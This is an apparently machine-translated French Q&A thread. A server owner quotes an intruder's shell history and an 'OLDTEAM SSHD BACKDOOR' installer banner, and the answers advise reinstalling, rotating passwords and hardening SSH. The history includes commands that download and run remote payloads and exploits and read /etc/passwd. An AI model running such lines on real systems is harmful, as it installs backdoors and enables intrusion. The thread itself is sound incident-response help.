SSH Backdoor trouvé sur VServer. Que faire?

Question

Hier, j'ai vérifié l'historique de mes commandes sur mon VServer. J'ai trouvé plusieurs lignes suspectes.

  195  wget aridan.hol.es/sniffer.tgz
  196  tar xvf sniffer.tgz
  197  ls -a
  198  rm -rf sniffer.tgz
  199  rm -rf .sniff/
  200  cd /dev/shm
  201  ls -a
  202  mkdir " . "
  203  ls -a
  204  cd " . "/
  205  wget aridan.hol.es/sniffer.tgz
  206  tar xvf ar
  207  tar zxvf ar
  208  tar xvf sniffer.tgz
  209  cd .sniff/
  210  ls -a
  211  ./setup
  212  ls -a
  213  cd /var/tmp
  214  ls a-
  215  ls -a
  216  cd sy
  217  cd systemd-private-a5e12501dbc746eabcda29463d441b9e-openvpn\@server.servi                                                                             ce-HJ201p/
  218  ls -a
  219  pw
  220  pwd
  221  ls -a
  222  cd tmp/
  223  ls -a
  224  cd / .
  225  cd /dev/shm
  226  ls -a
  227  cd " . "/
  228  ls -a
  229  cd sniffer.tgz
  230  cd ..
  231  ls -a
  232  cd " . "/
  233  rm -rf sniffer.tgz
  234  cd .sniff/
  235  ls -a
  236  cd /var/tmp
  237  nproc
  238  w
  239  wget draqusor.hi2.ro/x; chmod +x *; ./x
  240  wget http://t1fix.com/local/ubuntu-2015.c; gcc ubuntu-2015.c -o ubuntu-20                                                                             15; chmod +x *; ./ubuntu-2015;
  241  id
  242  cd
  243  last
  244  cat /etc/passwd
  245  cd /dev/s
  246  cd /dev/shm/
  247  ls -a
  248  cd " . "/
  249  ls -a
  250  cd .sniff/
  251  ls -a
  252  nano se
  253  nano setup
  254  nano error_log
  255  nano error_log.2
  256  cat error_log.2
  257  ls -a
  258  nproc
  259  cd /var/tmp
  260  ls aรถ-
  261  ls -a
  262  rm -rf u*
  263  rm -rf x
  264  mkdir cache
  265  cd cache
  266  wget datafresh.org/md.tgz
  267  tat xvf md.tgz
  268  tar xvf md.tgz
  269  cd m
  270  cd d
  271  cd md
  272  ./a 5.196
  273  cat /proc/cpuinfo
  274  ./a 5.196
  275  ps -x
  276  cd /

Surtout le sniffer.tgz m'a choqué. J'ai mis en place une machine virtuelle et téléchargé cette archive tgz. J'ai commencé la configuration et cela m'a donné ces lignes:

-----------------------------------------------------------------------------------
     #OLDTEAM SSHD BACKDOOR v1.2 - OpenSSH 3.6p1
                                  PRIVATE VERSION
-----------------------------------------------------------------------------------


 CHECKING THIS SYSTEM

# GCC:                   [ FOUND ]
# G++:                   [ FOUND ]
# MAKE:                  [ FOUND ]
# OPENSSL DEVEL:         [ NOT FOUND ]

NOW TRYING TO INSTALL OPENSSL DEVEL

Est-ce que quelqu'un sait comment enlever ceci?

Answer 1

C’est ce que vous devriez faire sur tous les systèmes sur lesquels vous avez utilisé ce sniffer.tgz: nuquez-le de Orbit immédiatement , et recommencez depuis une installation propre. (C’est-à-dire, détruisez le ou les systèmes, réinstallez propre, chargez les données à partir de sauvegardes propres - en supposant que vous disposiez de sauvegardes propres, puis durcissez-les. système (s) avant de les remettre sur Internet).

Lorsque vous avez des programmes malveillants ou des pirates informatiques dans votre système, il est temps de réanalyser la configuration de votre système et de vous assurer de ne pas répéter les mêmes étapes. ils sont entrés avec. Mais, comme il ne s’agit peut-être pas d’un système, vous avez la possibilité de le prendre de côté et de l’analyser de manière scientifique, et comme il s’agit peut-être de votre seul serveur, il est temps de simplement détruire le système virtuel et recommencer à zéro (comme je l'ai dit ci-dessus).

(Et cela s'applique à toutes les situations dans lesquelles des logiciels malveillants sont présents sur le système. À moins que vous ne disposiez de matériel de rechange pour le remplacer, vous pouvez ainsi isoler et examiner de manière scientifique le système endommagé, ce que la plupart des utilisateurs ne possèdent généralement pas. nuke le système et recommencer.)

Sans analyser votre serveur, je ne peux pas vraiment dire ce que vous avez fait de mal, mais il est probable que cette porte dérobée est plus profonde dans le système qu'un simple "programme" qui a été installé. Et, étant donné que les malfaiteurs doivent déjà installer une porte dérobée sur votre système, vous pouvez supposer que tous vos mots de passe sont violés et ne sont plus sécurisés (que ce soit pour SSH, MySQL root ou tout autre type de mot de passe ayant EVER été entré dans ce système informatique). Il est temps de changer tous vos mots de passe!

---

Une fois que vous êtes revenu dans un environnement propre, voici quelques conseils de base sur les étapes de renforcement à prendre en compte. Notez que, parce que cela rend le sujet beaucoup plus large, je ne peux pas vraiment creuser dans les détails ici, mais il est certainement temps de prendre des mesures de renforcement pour protéger votre système:

1. Activez un pare-feu et autorisez uniquement l'accès aux ports devant être ouverts . ufw existe pour être simple, alors utilisons cela. Sudo ufw enable. (Configurer correctement ufw pour votre environnement est une histoire différente, et cela dépasse les limites de cette question.)

2. Restreindre l'accès au SSH distant . Ce n'est pas toujours faisable, mais vous devriez idéalement identifier les adresses IP que vous possédez et les ajouter à la liste blanche dans le pare-feu. (Si vous utilisez une adresse IP résidentielle dynamique, ignorez cette étape).

3. Verrouillez l'accès SSH sur votre serveur et nécessite l'utilisation de clés SSH uniquement pour l'authentification . De cette façon, les pirates ne peuvent pas attaquer votre serveur et essayer de simplement deviner les mots de passe. Il est BEAUCOUP plus difficile de deviner la clé privée appropriée (car vous devez toutes les forcer brutalement), ce qui vous protège contre les attaques brutales.

4. Si vous utilisez un site Web, , assurez-vous de verrouiller les autorisations afin d'empêcher les utilisateurs de télécharger/exécuter des choses à leur guise . Cela varie d’un site à l’autre, donc je ne peux pas vous donner plus de conseils ici (impossible de le faire).

5. De même, si vous utilisez un site Web utilisant Joomla ou Wordpress ou autre, , veillez à maintenir l'environnement à jour et à le corriger avec les vulnérabilités de sécurité des fournisseurs de logiciels .

6. Dans la mesure du possible, configurez et utilisez des méthodes d'authentification à deux facteurs (2FA) pour les tâches avec lesquelles vous vous authentifiez . Il existe de nombreuses solutions pour l'authentification à deux facteurs pour différentes applications, et la sécurisation de diverses applications dépasse le cadre de cet article. Vous devez donc effectuer votre recherche avant de choisir une solution.

7. Si vous devez absolument utiliser des mots de passe dans votre configuration, utilisez un gestionnaire de mots de passe décent (ceux basés sur le cloud ne sont pas nécessairement de bons choix) et utilisez des mots-clés de longue durée ( Plus de 25 caractères), des mots de passe aléatoires et immuables, différents pour chaque élément protégé par des mots de passe (d'où la recommandation du gestionnaire de mots de passe). (Cependant, vous devriez fortement envisager de NE PAS utiliser de mots de passe si possible (comme pour l'authentification SSH), et utiliser 2FA si possible).

Answer 2

S'il y a une porte dérobée, il y en a 3 autres. Isolez, sauvegardez, sauvegardez et restaurez soigneusement les données. Faites attention à toutes les données cron, php ou même mysql, elles pourraient toutes être compromises. Rappelez-vous qu’à ce stade, ils ont tous vos mots de passe et leurs hachages. Par conséquent, si vous configurez de la même façon les autres machines, elles les pirateront probablement aussi… La partie difficile est de déterminer comment elles sont entrées au début. Si vous avez WordPress recherchez des programmes malveillants dans les plugins/thèmes, etc. Vérifiez vos autorisations, vous pourriez en avoir 777 partout. Pas de réponse simple, vous regardez beaucoup de travail.